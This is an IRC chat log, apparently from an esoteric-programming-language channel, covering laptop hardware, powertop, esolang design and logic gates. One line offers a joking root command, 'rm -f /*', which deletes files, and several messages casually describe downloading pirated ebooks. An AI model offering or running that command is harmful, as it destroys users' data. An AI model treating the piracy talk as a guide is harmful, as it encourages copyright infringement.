12:42:28 -!- BeholdMyGlory has quit (*.net *.split).
12:42:57 -!- MigoMipo has quit (Remote host closed the connection).
12:44:31 -!- oerjan has joined.
12:47:56 -!- BeholdMyGlory has joined.
12:51:01 -!- fungot has quit (*.net *.split).
12:56:14 -!- MizardX has quit (Read error: Connection reset by peer).
13:04:31 -!- MizardX has joined.
13:19:54 -!- augur has quit (Ping timeout: 248 seconds).
13:21:47 -!- MissPiggy has joined.
13:45:39 -!- hiato has joined.
13:47:59 -!- augur has joined.
14:03:59 -!- MigoMipo has joined.
14:10:42 -!- oerjan has quit (Quit: leaving).
14:12:14 -!- alise has joined.
14:24:40 -!- scarf has joined.
14:27:00 -!- alise has quit (Ping timeout: 252 seconds).
14:28:55 -!- alise has joined.
14:29:20 <alise> scarf: is there anything useful in the stock windows or should i just nuke it and put ubuntu on?
14:29:31 <alise> Also, what kind of battery life
14:30:29 <alise> do you get?
14:30:29 <alise> Mine says 8 hours, then in a few minutes 6, then 5
14:30:35 <MissPiggy> hi
14:30:35 <alise> 4hr32m remaining apparently now
14:30:36 <scarf> alise: the stock windows is necessary to change most of the settings, like wireless killswitch, etc
14:30:50 <scarf> and on Ubuntu, around 4 to 5 hours depending on what I'm doing, although the battery claims 8 when full
14:30:54 * alise plugs it in
14:30:58 * alise turns off ECO MODE
14:31:06 <alise> actually i'll keep it on
14:31:09 <alise> so it charges more for the journey
14:31:21 <scarf> what I've done is resized the Windows partition smaller, and put Ubuntu on the other half
14:31:27 <scarf> leaving it dual-boot, but only ever booted to Linux
14:31:38 <alise> scarf: I'll probably do some AnMaster-style hypertweaking for battery life
14:31:55 <scarf> powertop!
14:31:59 <alise> Ideally I would back up the Windows partition somewhere then nuke it
14:32:08 <alise> But on a 3G stick connection, that seems unreasonable
14:32:16 <alise> Especially as it's £15/gig
14:32:18 <scarf> although note, that powertop has a tendency to do obnoxious things like turn your mouse off altogether to save power
14:32:27 <alise> Just downloading Ubuntu will cost almost that
14:32:33 <alise> (Well, cost as in train the top-up.)
14:32:40 <alise> scarf: XD
14:32:59 <alise> Mine will have inferior battery life to yours because of the bigger screen, most likely
14:33:22 <scarf> (to be precise, it turns USB autosuspend on, and moving the mouse doesn't turn it back off again, so you have to unplug and replug the mouse to get it to work
14:33:24 <scarf> )
14:34:27 <alise> I should have cleaned this (grubby display model! Probably grubby, at least) with something other than wet kitchen roll, there are little specks of it everywhere
14:34:34 <alise> Didn't really have anything else to use, though.
14:34:47 <scarf> my laptop seems to be imposible to clean
14:34:47 <alise> scarf: ah, well I'll be using the trackpad
14:35:02 <alise> It's rather shiny, it's very easy to spot fingerprints ad stuff on it
14:35:17 <alise> But I just wanted to get the grubbiness off, just in case they didn't clean it very well before boxing it up
14:35:37 <alise> The trackpad on this is rather crappy, I keep side-of-trackpad scrolling by mistake
14:35:43 <alise> and it isn't very well ridged so i keep nudging it
14:36:21 <AnMaster> <scarf> alise: the stock windows is necessary to change most of the settings, like wireless killswitch, etc <-- huh
14:36:36 <scarf> AnMaster: yes, it confuses me too
14:36:38 <AnMaster> that is one advantage with thinkpad, things like that just work in linux
14:36:47 <alise> also, how do you use the mousepad/volume control?
14:36:54 <alise> I suspected Fn+ due to the colour but neither fn nor fn-switch work
14:36:56 <alise> erm
14:36:57 <alise> not mousepad
14:36:59 <alise> numberpad thing
14:37:03 <scarf> volume control is fn-3, fn-4
14:37:14 <AnMaster> scarf, also the kill switch on mine is definitely physical disconnect/connect-style
14:37:18 <alise> does it not give any feedback or something?
14:37:19 <scarf> mouse pad is fn-f10
14:37:35 <scarf> *numpad
14:37:36 <AnMaster> scarf, since the bluetooth and wlan units are simply gone from lsusb/lspci after switching it
14:37:40 <scarf> hmm
14:37:41 <alise> numberpad
14:37:42 <alise> not mousepad
14:37:45 <alise> 7-0, u-p, j-;, m-/
14:37:48 <alise> those ones
14:37:55 <scarf> yep, you turn that on and off with fn-f10
14:38:01 <alise> also, I'm rather pleased with this keyboard layout
14:38:03 <scarf> and the feedback is one of the lights on the front which is easy to miss
14:38:20 <alise> it doesn't seem to have any abominations against layout in it
14:38:34 <alise> I'd prefer shift was the rightmost key but it's not such a big deal
14:38:47 <scarf> control, fn, super, alt, backquote, space at the bottom left is annoying, it's so easy to hit the wrong one
14:38:59 <alise> Backquote at the bottom left?
14:39:00 <scarf> although a bigger screen for you may imply a less cramped layout
14:39:02 <alise> Not for me.
14:39:06 <AnMaster> <scarf> although note, that powertop has a tendency to do obnoxious things like turn your mouse off altogether to save power <-- for usb mouse maybe
14:39:06 <alise> I'm on UK layout though
14:39:09 <alise> For me the bottom row is:
14:39:10 <scarf> yep, looks like bigger screen = bigger keyboard
14:39:12 <scarf> AnMaster: yes
14:39:17 <AnMaster> yes don't enable usb autosuspend
14:39:18 <alise> Ctrl, Fn, Win, Alt, space, alt gr, menu, ctrl, arrow keys
14:39:18 <AnMaster> when it asks
14:39:42 <alise> Second to bottom is shift, \|, ..., /?, shift, pgup/pgdn vertically
14:39:51 <scarf> alise: yours is very similar to mine, except mine puts ` and \ to the right of the two alt keys respectively
14:39:57 <scarf> leaving the spacebar rather small
14:39:58 <AnMaster> <scarf> (to be precise, it turns USB autosuspend on, and moving the mouse doesn't turn it back off again, so you have to unplug and replug the mouse to get it to work) <-- in a different physical port even
14:40:00 <AnMaster> for me
14:40:18 <alise> Fn-f10 just enables the arrows
14:40:18 <AnMaster> (after that the original port works again though)
14:40:21 <alise> I think it's f11 for numbers
14:40:35 <alise> yep
14:40:39 <scarf> err, yes, f11
14:40:42 <scarf> I said the wrong thing
14:40:49 <AnMaster> enable arrows?
14:40:51 <AnMaster> what?
14:41:05 <AnMaster> don't you have arrow keys by default?
14:41:06 <alise> also, are you /sure/ fn-3/4 works?
14:41:08 <scarf> AnMaster: u8ok for arrows
14:41:10 <alise> I see no feedback whatsoever
14:41:15 <scarf> alise: it does on Ubuntu, I'm not sure on Windows
14:41:19 <scarf> although, I think I bound those myself
14:41:20 <alise> AnMaster: numpad arrows
14:41:23 <AnMaster> ah
14:41:29 <alise> maybe it just does it silently
14:41:36 <scarf> system|preferences|keyboard shortcuts
14:41:49 <alise> what colour is yours? to go on to the most inane subject of this laptop
14:41:56 <alise> mine's red, that's all they had though
14:41:57 <AnMaster> alise, does it have a separate numpad or such? Or why is a numpad even useful on a laptop
14:42:07 <scarf> but it correctly detects fn-3 as XF86AudioLowerVolume, fn-4 as XF86AudioRaiseVolume
14:42:11 <scarf> AnMaster: some programs require numpad
14:42:11 <alise> AnMaster: It's part of the alphanum part
14:42:16 <AnMaster> hm
14:42:17 <scarf> alise: mine's black, but the packaging said it was red
14:42:23 <alise> Also, for e.g. spreadsheet number entry
14:42:31 <alise> And if you like that way of movement
14:42:35 <alise> inc. home,end,pgup,pgdown etc
14:42:37 <AnMaster> btw my thinkpad as NmLk on Fn-ScrLk
14:42:41 <AnMaster> which is quite strange
14:42:49 <alise> scarf: lol
14:42:56 <AnMaster> ScrLk is surely even more seldomly used?
14:42:57 <alise> It's not a shiny red which is nice
14:43:14 <alise> AnMaster: so you can scroll look on boot, I guess
14:43:23 <alise> where Fn doesn't work
14:43:27 <scarf> scroll lock is actually kind-of useful in Excel
14:43:29 <AnMaster> alise, hm I think fn works there
14:43:40 <alise> are you sure?
14:43:41 <AnMaster> alise, since fn itself generates no key event
14:43:54 <scarf> ooh, fn-f9 seems to be implemented in hardware
14:44:01 <scarf> that's the key combo to turn the touchpad on/off
14:44:05 <scarf> could be useful when typing
14:44:08 <AnMaster> alise, and Fn-PgUp (turn on keyboard light thingy above screen) doesn't generate any key event (other Fn+* generates key events)
14:44:15 <AnMaster> but that is one key event for fn+whatever
14:44:21 <AnMaster> not one for fn and one for whatever
14:44:41 <alise> scarf: but I'm used to mouse-based OSs, so I'd be hitting it every few seconds
14:44:48 <alise> admittdly myabe not as much, because the trackpad is kind of crap
14:44:50 <alise> *maybe
14:44:58 <alise> so I'll probably adapt
14:44:58 <alise> *admittedly
14:45:14 <alise> Its complete silence most of the time freaks me out to no end
14:45:19 <AnMaster> scarf, alas, that is one thing annoying me, there is a turn touchpad off thingy for mine. But under linux that disables touchpad, touchpad buttons, and *trackpoint buttons*
14:45:23 <alise> TALK TO ME COMPUTER
14:45:28 <AnMaster> only the trackpoint itself is left enabled
14:45:33 <AnMaster> making it completely useless
14:45:42 <AnMaster> (I want to have the trackpoint buttons left enabled of course!
14:45:45 <AnMaster> )
14:45:49 <alise> Bind'em to some key combo :P
14:45:59 <scarf> AnMaster: you use it while typing, to avoid clicking by mistake
14:46:20 <AnMaster> scarf, yes but hitting the buttons for the trackpoint is rather hard
14:46:45 <AnMaster> scarf, the issue I have is "palm on touchpad"
14:46:53 <AnMaster> not "palm on trackpoint buttons"
14:47:03 <scarf> for me, it's the base of the thumb
14:47:24 <AnMaster> well, yes, base of thumb/palm, somewhat the overlap
14:47:28 <alise> scarf: I like how there's a ridge on the caps lock key, except the keys are so flat anyway that it doesn't stop any mistakes whatsoever
14:47:29 <alise> I'm surprised by how thin and light this thing is for the price
14:47:30 <alise> Probably as thin as a MacBook
14:47:45 <AnMaster> scarf, fiddling with the palm detection setting in the synaptics config tool helped somewhat
14:48:08 <scarf> alise: yes, heh
14:48:21 <scarf> are you planning to swap caps lock and control? I haven't, maybe I should
14:48:23 <AnMaster> alise, that ridge: same on mine
14:48:23 <alise> All in all I'm rather happy with my first venture into laptop-land, and PC-laptop-land at that.
14:48:55 <AnMaster> alise, at least the windows key is quite flat
14:48:56 <alise> scarf: Why does every single key have a tiny ridge, I wonder?
14:48:57 <alise> I might just disable caps lock entirely
14:48:58 <alise> AnMaster: Yes, but even moreso on this laptop: The key travel is <10mm
14:48:59 <alise> I'm sure
14:48:59 <alise> More like 5?
14:49:01 <AnMaster> and not as horrible as on desktop keyboards
14:49:06 <alise> Totally flat here.
14:49:07 <AnMaster> alise, ah...
14:49:36 <scarf> alise: probably to make them easier to separate after manufacturing them
14:49:41 <alise> Apparently this thing is designed for the thin/light/battery sort of market
14:49:43 <alise> So it's rather flat all over
14:49:55 <scarf> and I'm used to a key travel that small; it feels like a lot of effort to push keys on a desktop
14:50:03 <scarf> you can still feel the travel, even though it's a small one
14:50:40 <AnMaster> alise, the diff here is maybe 1-2 mm for the ridge thingy. Key travel is... uh about twice the height of the key cap itself. That is when I press down the key fully, the top of it is roughly at the same level as the lower edge of the key caps around it
14:50:42 <alise> Yes, but I've used a scissor-switch board and even that had more key travel
14:50:46 <alise> (It was almost flat itself)
14:50:50 <AnMaster> which would make it 5 mm maybe?
14:50:50 <alise> even the other laptops I tried had much more travel
14:50:52 <alise> I'm not complaining; it's just weird.
14:50:58 <AnMaster> maybe 6-7?
14:51:18 <AnMaster> in any case, it is quite okay to type on if you are used to a full size pc keyboard
14:51:38 -!- kar8nga has joined.
14:51:47 <alise> This thing doesn't even travel the depth of the very thin keycaps
14:51:49 <alise> *keycap
14:51:51 <alise> I bet any less travel and you couldnt
14:51:53 <alise> make it reliable
14:52:03 <AnMaster> heh
14:52:43 <AnMaster> alise, are the main area of the keys (alphanumeric, shift, enter, backspace, tab, caps lock) "full sized"?
14:52:58 <AnMaster> well apart from height of course
14:53:15 -!- oklopol has joined.
14:53:42 <AnMaster> also I don't get how anyone can live with less than 15" on a laptop that is used for extended periods...
14:53:51 <AnMaster> I mean, 15" is somewhat cramped
14:55:16 <alise> The screen on this thing is very nice despite being glossy.
14:55:16 <alise> I'm using it in sunlight now and it's completely legible
14:55:49 <scarf> laptop screens tend to work rather nicely in sunlight, I find
14:56:02 <scarf> AnMaster: I use 11", and have for months
14:56:41 <AnMaster> scarf, I know
14:56:56 * AnMaster considers a toughbook
14:57:06 <AnMaster> of course it wouldn't be really nice to use
14:57:11 <AnMaster> but it would last forever
14:59:38 -!- alise has quit (Ping timeout: 252 seconds).
15:02:46 -!- BeholdMyGlory has quit (*.net *.split).
15:08:12 -!- BeholdMyGlory has joined.
15:08:37 -!- jcp has joined.
15:24:27 -!- Yda-84 has joined.
15:25:01 <Yda-84> O:-)
15:25:05 -!- Yda-84 has left (?).
15:31:08 -!- cbrowne has quit (Ping timeout: 256 seconds).
15:41:09 -!- cpressey has joined.
15:44:53 -!- alise has joined.
15:45:08 <alise> IRCing from inside a taxi: The most unreliable activity ever.
15:45:18 <alise> I wonder if this connection is even still working after the five seconds I've ben connectd.
15:45:21 <alise> *been, *connected
15:45:25 <alise> Someone pong.
15:45:30 <MissPiggy> alise pong
15:45:34 <alise> Woot.
15:46:14 <alise> Typing is not the easiest thing
15:47:25 <cpressey> Yay! "Inside a taxi" is the second best thing to "A truckstop outside El Paso".
15:47:26 <alise> But nerdery must transcend such petty constraints AAH GOD A CORNER
15:47:39 <MissPiggy> where are you going alise?
15:47:40 <alise> This taxi never stops. I am constantly in motion!
15:48:08 <hiato> Heh, ten points if you get a passer-by at a red traffic light to type somehting
15:48:11 <alise> i.e., perpetually motivated!
15:48:11 <alise> Take that, physics!
15:48:46 <alise> oh god dammit bumpy road
15:48:46 <alise> badoing badgoin badoing
15:48:46 <alise> hiato: :D
15:49:19 <hiato> alise: so that's a "there're no traiffic lights where I am" then?
15:49:22 <alise> i forsee people living entirely in gigantic housecars in the future
15:49:22 <alise> i can see no issues with this
15:49:36 <hiato> save bathing
15:50:13 <alise> there are traffic lights but :P
15:50:13 <alise> also, how on earth will bathing be a problem? >_>
15:50:13 <alise> there are NO. ISSUES aaaah god corner
15:50:40 <hiato> my point exactly
15:50:46 <alise> i sort of hvae a hard time using the entire keyboard while cornering...
15:51:25 <alise> shut UP
15:51:25 <alise> also, hi we missed you
15:51:25 <alise> (i am ehird)
15:51:35 <hiato> now imagine your laptop to be a concave vessel, somewhat like a bathtub, but more like a laptop in apperance, less so in function. Now imagine that vessel full of water. Then, cue a red traffic light or an innocent stone in the road
15:51:47 <hiato> alise: oh, heh, hi - wow, been a while :)
15:52:01 <augur> SUP ESOFAGS
15:52:28 <fizzie> Banks' non-Culture Against a dark background novel has (in a very minor part, just barely a mention) these things called "rest mobiles" that sound a bit like that, except that people just (seem to) use them for rest stops when traveling long distances over roads, as opposed to permanent places of habitation.
15:52:56 <hiato> fizzie: [citation needed]
15:52:59 <MissPiggy> shut up augur hi
15:53:00 <alise> hiato: i see no issues
15:53:07 <augur> MissPiggy: ;)
15:53:12 <alise> except that if you want to use the water as a keyboard aaah corner
15:53:19 <augur> MissPiggy: you're turning into pthag
15:53:23 <alise> then it might not be very tactile
15:53:33 <MissPiggy> augur I doubt that somehow
15:53:37 <augur> OR ARE YOU PTHAG?!
15:53:46 <MissPiggy> augur, is shut up not a valid sentiment?
15:53:52 <alise> pthong
15:53:54 <augur> no.
15:53:57 <augur> pthong :D
15:54:02 <alise> almost there bye guys
15:54:11 <augur> pthag in a pthong
15:54:18 <augur> bye alise
15:54:30 <hiato> alise: What I'm trying to eventually get to would be the need to start slowing down from the massive top speed of 60 (which is massive, when you consider the vehicle to be a house, or visa versa) about ten minutes prior to when you needed to stop, to avoid spillage (spilage/spiling/spillery and friends)
15:54:34 <augur> fizzie: banks!
15:54:36 <fizzie> hiato: "She rendezvoused with a rest-mobile, ramping up into the echoing parking hold of the Air Cushion Vehicle and leaving the car for refuelling while she stretched her legs." (And later she sleeps and eats breakfast on one; then they're not mentioned again.)
15:54:59 <hiato> fizzie: Project Gutenburg?
15:55:11 <fizzie> hiato: No, just illegal ebook warez nastiness.
15:55:11 * hiato gives +100 points to fizzie for an actual citation
15:55:34 <fizzie> Do you deduct points for the source being of dubious legality?-)
15:55:46 <hiato> I do now
15:56:10 <augur> fizzie: im making a videogame with OCPs :D
15:56:10 <hiato> but then again, it depends from whom exactly you stole
15:57:38 <hiato> if it's from me, -1000000000000000.6, if not, S.E.P
15:58:12 <fizzie> I doubt you would have received any royalties from that. I don't exactly know where it came from; it was on this CD.
15:58:18 -!- alise has quit (Ping timeout: 252 seconds).
15:58:25 <hiato> == S.E.P
15:58:39 <fizzie> Someone has written "v1.0 (17-mar-01) Scanning, layout and quick proofing by 4i Publications" on top of it.
15:59:19 <hiato> again, S.E.P. Industrial book-spy perhaps? It's all the rage these days
16:01:09 <hiato> what happened to ais523?
16:01:15 <scarf> I'm here
16:01:20 <scarf> just under a different nick
16:01:24 <hiato> Aha, also did the shuffle
16:01:42 <scarf> and "ais523" still pings me
16:02:02 <hiato> really? nice
16:02:17 <scarf> you can configure many IRC clients to ping on all sorts of words
16:02:22 -!- oklopol has quit (Read error: Connection reset by peer).
16:02:23 <scarf> mine pings on things like "ais523" and "INTERCAL"
16:02:28 <hiato> baha
16:02:47 -!- oklopol has joined.
16:02:53 <hiato> yeah, I guess I never did do man irssi
16:03:24 <hiato> well, good to know that the comunity is still here, mostly
16:03:50 <scarf> I use Konversation
16:03:50 <MissPiggy> hi oklocork
16:04:09 <MissPiggy> oklopoke I :(((
16:04:37 <MissPiggy> I looked up the solution to a problem I was doing and the answer was something I should have been able to do ;(
16:04:48 <augur> oklopol :D
16:04:52 * augur huggles okl
16:08:24 <MissPiggy> augur
16:08:30 <MissPiggy> d you have an ifile.it account
16:08:46 <AnMaster> <alise> oh god dammit bumpy road <-- I sure hope he has "disk head parks itself based on accelerometer"
16:09:06 <scarf> AnMaster: the Toshiba Satellite has an incredibly sensitive disk-parker
16:09:11 <AnMaster> scarf, oh?
16:09:19 -!- MizardX- has joined.
16:09:20 -!- MizardX- has quit (Changing host).
16:09:21 -!- MizardX- has joined.
16:09:23 <scarf> it seems like every ten seconds it parks itself, then pops up a little dialog box to let you know it parked
16:09:29 <scarf> I'm not sure if it does that under Linux too, btw
16:09:32 <AnMaster> hm
16:09:40 <scarf> at least, no dialog box, so I don't know if it's parking
16:09:53 <AnMaster> scarf, for thinkpads it needs an user space daemon
16:10:05 <AnMaster> which is somewhat irritating as it causes rapid wakeups for polling
16:10:31 <AnMaster> I avoid using my thinkpad when moving instead. Always use it on a sturdy table
16:10:34 <scarf> anyway, he was on webchat, and therefore presumably Windows, and therefore using the autopark
16:11:06 <AnMaster> scarf, I guess that wasn't meant as a far fetched joke?
16:11:12 <scarf> no
16:11:15 <AnMaster> (autopark -> automobile park)
16:11:16 <scarf> I was being serious
16:11:18 <AnMaster> (and in a taxi)
16:11:35 <scarf> no pun intended; in fact, even after your explanation, I don't think there was a pun there
16:11:38 <hiato> anyone care to look at this and then provide some feedback as to how I'd make this language more self-complete, that is, you should be able to emulate (mostly) an arbitrary piece of the language with other pieces. that means you cant natively have if's, while's and so on, but I'm stuck on argument parsing to methods (though tecnically anonymous methods need not be there and would solve my problem)
16:11:45 <hiato> http://dpaste.com/168356/
16:11:46 <AnMaster> scarf, very far fetched one
16:12:10 * scarf looks
16:12:28 -!- MizardX has quit (Ping timeout: 276 seconds).
16:12:47 -!- MizardX- has changed nick to MizardX.
16:13:36 <hiato> oh, and if you do look, ignore the code at the end, as that all depends on how arguments are parsed (if at all)
16:13:50 <scarf> hiato: wow, that's a confusing language
16:13:59 <hiato> :P
16:14:04 <scarf> I applaud you for not just making more BF-derivatives, like most people do
16:14:17 <hiato> I'll be happy to shed some light though
16:14:19 <hiato> thanks :)
16:14:22 * MissPiggy made one hates ipile
16:16:15 <AnMaster> hiato, for cell.(Q) better specify charset
16:16:45 <AnMaster> hiato, or would it use the native one? Say EBCDIC on such a machine?
16:17:31 <hiato> AnMaster: I'm not sure I understand what you mean? In this case, cell.(Q) is using Q as a literal, base 10 number
16:17:40 <hiato> cell.X, however, could be confusing
16:17:50 <AnMaster> hiato, so how does " "$()" is equivalent to 2369577 through this system" work?
16:17:57 <AnMaster> hiato, how is that encoded?
16:17:59 <AnMaster> ASCII?
16:18:04 <hiato> Heh, figured it was vague
16:18:04 <hiato> yep
16:18:08 <AnMaster> if so that should be explicitly mentioned
16:18:20 <hiato> encode as ASCII, then take those bytes as a standard number
16:18:27 <hiato> ok, thanks, will mark that
16:18:33 <AnMaster> hiato, why not UTF-8?
16:18:55 <AnMaster> hiato, otherwise how would you encode a cell named å←→µ
16:19:00 <hiato> For simplicity, really, but there is no real reason. Though, I guess it will also inflate the nubmers significantly
16:19:04 <hiato> true, fair enough
16:19:27 <AnMaster> hiato, for UTF-8, the lower 127 ASCII bytes would encode the same way
16:19:47 <AnMaster> only some other things, such as that example would encode larger
16:19:48 <hiato> though the argument could go that å##µ is merely a sequence of bytes that when grouped to the nearest 8 bits, would still yield a number that is unique for that string
16:19:52 <AnMaster> wait
16:19:57 <AnMaster> hm
16:20:01 <AnMaster> it would work in fact
16:20:12 <AnMaster> hiato, that wasn't ## in the middle
16:20:14 <AnMaster> that was like:
16:20:16 <AnMaster> <-->
16:20:33 <hiato> I know, but I forget what key makes those arrows :P
16:20:51 <hiato> and I'm currently not using a utf8 charset in xterm
16:20:59 <AnMaster> hiato, AltGr+[yUui]
16:21:26 <hiato> Ah, right
16:21:50 <hiato> (though still produces a #)
16:21:57 <AnMaster> hiato, yet you found å without iussues, which I thought was hard to type outside Scandinavia plus a few countries
16:23:09 <hiato> Colemak ;)
16:23:26 <AnMaster> mhm
16:24:43 <hiato> as for the language itself, while handy, do you think that the ability to parse Message -> Anonymous Method -> Destination is needed?
16:25:03 <AnMaster> hiato, what does that do
16:25:08 <AnMaster> I haven't read the whole spec
16:25:12 <hiato> if so, how would I implement a non-pattern matching scheme that can be replicatedwith non-anonymouse methods
16:25:17 <AnMaster> due to being somewhat tired
16:25:59 <hiato> right, "a b c" sends message "a" to cell or method "b" and then stores the result (or partial result, or whatever) in cell "c"
16:26:12 <AnMaster> hiato, what about threads
16:26:22 <AnMaster> hiato, you can do rather nice concurrency with message passing
16:26:31 <AnMaster> (see for example the non-esolang erlang)
16:26:58 <AnMaster> (which I used for more than one esolang interpreter)
16:26:58 <hiato> You do like this: $ su -> # rm -f /*
16:27:03 <cpressey> hiato: coincidentally, trying to make pattern matching work with anonymous (unnamed) object is currently what I'm thinking about
16:27:19 <AnMaster> cpressey, wrt. befunge-111?
16:27:21 <cpressey> I mean... it needs a name, so the pattern can match it, right?
16:27:28 <cpressey> Frustrating :)
16:27:34 <hiato> AnMaster: but seriously, I guess I could put it in, but it's besides the point
16:27:40 <hiato> cpressey: yeah, my predicament exactly
16:27:41 <cpressey> AnMaster: no.
16:27:45 <hiato> if you find a way, let me know
16:27:58 <AnMaster> hiato, just a suggestion, I don't know how well it would fit into things
16:28:00 <cpressey> No patterns in Befunge-111...
16:28:22 <AnMaster> cpressey, true. Unless someone goes and spec PATS or something
16:28:41 <AnMaster> (pattern matching befunge sounds horrible)
16:28:53 <AnMaster> well, there is REXP for posix extended regex
16:29:00 <AnMaster> and PCRE sounds like a nice fingerprint name I guess
16:29:06 <hiato> AnMaster: right, sure, I'm always open to suggestions, but before I make this super complex, I need to work out the message parsing
16:29:19 <AnMaster> hiato, right
16:31:30 <hiato> on the complete flip side, I've also come up with another system that is way way easier. It's ASM like, but only has the commands: XOR, SHR, SHL, JMP. No conditional jumps, no add and friends, but I suspect it's turing complete. Oh, and it only has four registers and can only operate on two bits at a time
16:32:22 <scarf> is the PC memory-mapped?
16:32:33 <scarf> oh, no, that's what JMP's for
16:32:38 <hiato> http://dpaste.com/168372/
16:32:40 <scarf> but presumably the program itself is memory-mapped
16:32:44 <hiato> nope
16:32:57 <scarf> hiato: have you seen the various OISCs?
16:32:59 <hiato> no self-modification
16:33:02 <hiato> scarf: yep
16:33:08 <hiato> but this is unlike them in every way
16:33:12 <hiato> there is no complex syntax
16:33:17 <hiato> or conditional logic
16:33:28 <hiato> or any logic except for XOR (which is not universal)
16:34:03 <hiato> but, through careful use of shifts and xors (and the clever trick of treating the registers as stacks), you can do all of what you need (I guess)
16:35:10 <scarf> hiato: ah, JMP is the unconditional computed jump, Malbolge-style
16:35:57 <hiato> Er, right
16:35:59 <hiato> yes
16:36:25 <hiato> the interesting thing is how to make it conditional
16:36:51 <hiato> "For example, "J 0,b" will
16:36:52 <hiato> jump back precisely one insruction iff. the IP is odd, otherwise
16:36:52 <hiato> forward one if the IP is even. You have been warned.
16:37:11 <hiato> makes it kind of fun, when using XOR's instead of fixed offsets
16:37:23 <scarf> it's possible to get by without any conditional jumps at all in a language
16:37:33 <scarf> by messing with arithmetic
16:37:41 <hiato> really?
16:37:46 -!- dev_squid has joined.
16:38:29 <scarf> yep; the idea is, say you have a /lot/ of variables
16:38:32 <hiato> do you have an example? but, in this case, there is no way of doing anything except applying various XOR masks, which, in this case suggest some ofrm of universitatility for XOR
16:38:45 <hiato> right
16:39:06 <scarf> then whenever you would do something, instead of b=a, you do something along the lines of b+=(a-b)*x
16:39:19 <scarf> where you can turn the command on and off by messing with the value of x
16:39:38 <scarf> that's the general principle; it would be interesting to see how few commands you can get away with
16:39:43 <hiato> Right, but in essence you then need to compute all posibilites and "filter" them
16:39:47 <scarf> yes
16:40:17 <scarf> also, if it turned out that your language was TC without computed jumps, you wouldn't need SHR either
16:40:23 <scarf> as instead, you could shift every other variable to the left
16:40:31 <scarf> and just ignore the bottom bit for the rest of the program
16:40:35 <scarf> as no command would care
16:40:42 <hiato> I see what you're saying
16:40:49 <hiato> which would be a godsend
16:41:11 <scarf> NAND is probably better than XOR for that sort of thing, as you can implement any other logical operation in terms of it
16:41:29 <hiato> Yeah, I knew that one, but that's what I wanted to avoid
16:41:35 <scarf> but I'm not sure if you could get by with just four variables then
16:41:38 <hiato> XOR is known to not be universal
16:41:46 <scarf> yep
16:41:58 <scarf> bceause it can't distinguish between 0 and 1
16:42:05 <hiato> but with (really) two other commands and just four (or in essence) two variables, it would be enough
16:42:17 <hiato> right
16:43:19 <hiato> well actually, going back, because it only operates on the bottom two bits, I would need to keep shr
16:44:36 <scarf> hmm, yes
16:44:39 -!- dev_squid has quit (Ping timeout: 252 seconds).
16:44:46 <hiato> and going back further, do you think it would be possible to write a programme in your a*(maybe 0) language that, without needing to evaluate all possibilities, could then write the bit that did need to?
16:44:53 <cpressey> Also, in certain models of computation, XOR is the most complex function possible
16:45:02 <cpressey> (monotone circuits)
16:45:16 <scarf> cpressey: it's annoying to implement even in hardware
16:45:22 <hiato> cpressey: well, I have it down for three transistors, two diodes and one resistor
16:45:31 <scarf> there's a reason people talk about NAND rather than NOR as universal, which is that you can do NAND with just the one transistor
16:45:46 <scarf> hiato: DTL is pretty much an abandoned logic format nowadays
16:45:49 <cpressey> Mixing transistors and diodes -- nice.
16:45:54 <hiato> not in my world :)
16:46:04 <scarf> I can't remember why, but it was suboptimal somehow
16:46:18 <cpressey> I imagine it takes a bit more power to drive
16:46:21 <hiato> yeah
16:46:24 <hiato> was jsut about to say
16:46:52 <hiato> as well as running into issues with a negative bias vs ground
16:47:11 <scarf> oh, it's slower, takes up more silicon space, and requires three power rails
16:47:19 <hiato> there we are
16:47:25 <scarf> the last isn't quite an idea-killer, but the first two are
16:47:37 <hiato> but, for a hobby project, i cant see the fuss
16:47:54 <AnMaster> what does DTL stand for?
16:48:02 <hiato> (which, might I add, is what SHI-3 is for, I wanted to build a RISC cpu)
16:48:10 <hiato> Diode-Transistor Logic
16:48:20 <AnMaster> ah
16:48:57 -!- hiato has quit (Quit: Lost terminal).
16:49:06 <scarf> hmm, it seems practical NAND gates need at least two transistors
16:50:01 <AnMaster> oh?
16:50:54 -!- hiato has joined.
16:51:10 <hiato> goddamn power failures
16:51:23 <hiato> keep tripping the router
16:51:28 * hiato kisses his ups
16:52:39 <AnMaster> hiato, you need to put the router out of where you walk then
16:52:46 <AnMaster> of of the way of*
16:53:00 <hiato> AnMaster: heh
16:53:19 <hiato> interesting: 08:48:57 --- quit: hiato (Quit: Lost terminal)
16:53:28 <hiato> what does that mean?
16:55:08 <scarf> hiato: it means that the terminal that the client was running in closed, or it thought it did
16:55:15 <scarf> it's likely the client's response to a SIGHUP
16:58:14 <hiato> ah, right, thanks
16:58:45 <augur> MissPiggy: noone needs an ifile.it account
16:59:06 <MissPiggy> augur, I made one
16:59:11 <augur> why?
16:59:13 <MissPiggy> it was quite difficult but I managed i
16:59:21 <MissPiggy> I had to, to steal a book from the internet
16:59:26 <augur> no you dont
17:02:01 -!- tombom has joined.
17:02:36 <MissPiggy> okay
17:02:43 <MissPiggy> I don't know how to do it without an account
17:02:50 -!- MaXo2 has quit (Ping timeout: 248 seconds).
17:02:55 <augur> are you SEARCHING using ifileit?
17:02:59 <augur> or just downloading?
17:03:14 <MissPiggy> no
17:03:34 <augur> because if you search through gigapedia you dont need an ifileit account to download
17:03:47 <MissPiggy> augur: okdponafpdunoadpounyafpdunyofpdoun
17:03:53 <augur> wut
17:05:20 -!- rishi__ has joined.
17:05:34 <cpressey> That sounds like a good name for an esolang
17:09:48 -!- rishi__ has left (?).
17:10:44 -!- scarf_ has joined.
17:11:03 -!- scarf_ has changed nick to ais523.
17:12:33 -!- scarf has quit (Ping timeout: 265 seconds).
17:25:40 <Gregor> Anybody have any new suggestions for what I do with the domain name sibeli.us?
17:26:13 <cpressey> Prokofiev fan site
17:26:27 <Gregor> Ooooooh, burn to the S-man :P
17:28:54 <cpressey> Well, it was intended more as an act of dada, than as a burn.
17:30:12 <cpressey> But since you mention it, I've never cared for Sibelius much.
17:31:09 -!- oklokok has joined.
17:31:15 -!- oklopol has quit (Ping timeout: 240 seconds).
17:32:02 -!- Asztal has joined.
17:33:54 -!- ais523 has changed nick to scarf.
17:34:45 <cpressey> And since I am open-minded, I'm listening to a Sibelius concerto via youtube right now.
17:35:54 -!- scarf has changed nick to ais523.
17:36:05 -!- tombom_ has joined.
17:37:03 -!- tombom has quit (Ping timeout: 240 seconds).
17:39:49 -!- oklokok has quit (Ping timeout: 264 seconds).
17:39:55 -!- oklofok has joined.
17:44:57 -!- oklofok has quit (Ping timeout: 276 seconds).
17:45:11 <cpressey> And it's not doing much for me.
